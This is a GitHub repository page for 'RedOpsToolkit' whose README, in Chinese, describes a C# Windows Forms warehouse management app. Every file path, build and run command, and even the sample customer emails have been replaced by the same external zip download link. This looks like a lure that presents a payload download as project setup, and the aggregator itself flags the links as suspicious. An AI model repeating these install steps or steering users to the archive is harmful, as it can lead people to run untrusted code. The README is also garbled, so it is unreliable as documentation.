nbarrap/RedOpsToolkit

GitHub: nbarrap/RedOpsToolkit

名为红队工具包但实际内容为仓库管理系统,且包含可疑外部链接,建议谨慎对待。

Stars: 0 | Forks: 0

# 仓库管理系统 一款使用 C# 和 Windows Forms 开发的完整仓库管理应用程序,支持管理客户、产品、订单、销售和库存控制。**现已包含具有不同角色和权限的用户身份验证系统。** ## 功能特性 ### 🔐 **用户与身份验证系统** *(新增)* - 基于用户名和密码的安全登录 - 三种用户类型:管理员、员工、销售 - 基于角色的访问控制 - 完整的用户管理(仅限管理员) - 最后访问时间追踪 - 用户启用/禁用 ### 🏢 **客户管理** - 添加、编辑和删除客户 - 按姓名、姓氏或邮箱搜索客户 - 完整信息:名字、姓氏、邮箱、电话、地址 - 自动记录注册日期 ### 📦 **产品管理** - 完整的产品管理 - 唯一的产品代码 - 分类控制 - 价格和库存管理 - 低库存预警 - 按代码、名称或描述搜索 ### 📋 **订单管理** - 为客户创建订单 - 订单状态:待处理、处理中、已完成、已取消 - 每个订单可添加多个产品 - 自动计算总额 - 订单状态变更 - 完成订单时自动更新库存 ### 💰 **销售管理** - 直接销售记录 - 支持临时客户 - 多种支付方式:现金、刷卡、转账、支票 - 实时库存控制 - 自动计算总额 ### 📊 **库存控制** - 完整的库存视图 - 库存调整(入库/出库) - 低库存产品预警 - 库存统计 - 库存总价值 - 详细报告 ## 项目结构 ``` Almacen/ ├── Models/ # Modelos de datos │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip ├── Data/ # Capa de acceso a datos │ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip ├── Forms/ # Formularios de la aplicación │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip │ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip # Formulario principal └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip # Punto de entrada ``` ## 系统要求 - **操作系统**:Windows 7 或更高版本 - **.NET Framework**:4.7.2 或更高版本 - **推荐 IDE**:Visual Studio 2017 或更高版本 ## 安装与配置 ### 方式 1:Visual Studio 1. **打开项目**: 打开 Visual Studio → File → Open → Project/Solution 选择:https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip 2. **还原依赖项**(如有必要): Build → Rebuild Solution 3. **运行应用程序**: 按 F5 或 Debug → Start Debugging ### 方式 2:命令行 (MSBuild) 1. **编译项目**: msbuild https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip /p:Configuration=Release 2. **运行应用程序**: cd Almacen\bin\Release https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip ### 方式 3:Mono (Linux/macOS) 1. **安装 Mono**: # Ubuntu/Debian sudo apt-get install mono-complete # macOS brew install mono 2. **编译**: msbuild https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip 3. **运行**: mono https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip ## 应用程序使用 ### 初始登录 启动应用程序时,首先会显示登录界面。请使用以下默认凭据: - **管理员**:用户名:`admin`,密码:`admin123` - **员工**:用户名:`empleado`,密码:`emp123` - **销售**:用户名:`vendedor`,密码:`vend123` ### 主界面 成功登录后,您将看到包含 5 个模块的主菜单: - **客户管理**(蓝色) - **产品管理**(绿色) - **订单管理**(橙色) - **销售管理**(红色) - **库存控制**(紫色) ### 推荐工作流程 1. **初始配置**: - 在客户模块中添加客户 - 在产品模块中添加产品 2. **日常操作**: - 为客户创建订单 - 处理直接销售 - 必要时调整库存 - 检查低库存预警 3. **跟踪**: - 更改订单状态 - 生成库存报告 - 查看销售统计 ## 技术特性 ### 数据模型 - **Cliente (客户)**:个人信息和联系方式 - **Producto (产品)**:代码、名称、价格、库存、分类 - **Pedido (订单)**:包含状态和详情的表头 - **Venta (销售)**:包含详情的完整交易 - **DetallePedido/DetalleVenta**:产品明细行 ### 数据管理 - 用于演示的**内存存储** - DataManager 使用 **Singleton Pattern (单例模式)** - 自动包含**测试数据** - 所有操作均有**验证** ### 用户界面 - 带有颜色编码的**直观设计** - 所有列表中的**实时搜索** - 数据输入**验证** - 面向用户的**提示信息** ## 测试数据 应用程序包含示例数据: ### 客户 - Juan Pérez (https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip) - María González (https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip) ### 产品 - Laptop HP (PROD001) - $850.00 - Mouse Inalámbrico (PROD002) - $25.50 - Teclado Mecánico (PROD003) - $75.00 (低库存) ## 可扩展性 ### 添加数据库: 1. 安装 Entity Framework: Install-Package EntityFramework 2. 创建数据上下文: public class AlmacenContext : DbContext { public DbSet Clientes { get; set; } public DbSet Productos { get; set; } // ... 其他 DbSet } 3. 用 Repository (仓储) 替换 DataManager: public class ClienteRepository { private AlmacenContext context; // 实现 CRUD 方法 } ### 添加身份验证: 1. 创建用户模型 2. 添加 LoginForm 3. 实现角色和权限 ## 许可证 本项目是开源的,基于 MIT 许可证发布。 ## 联系方式 如需支持或咨询,请联系开发者。 **享受使用仓库管理系统的乐趣!** 🚀
标签:CSharp, DotNet, ERP组件, RBAC, RedOpsToolkit, Windows Forms, WinForms, WMS, 产品管理, 仓库管理系统, 供应链管理, 客户关系管理, 库存控制, 数据库应用, 桌面GUI开发, 桌面应用, 物流管理, 用户认证, 角色权限管理, 订单处理, 运营工具, 进销存, 销售管理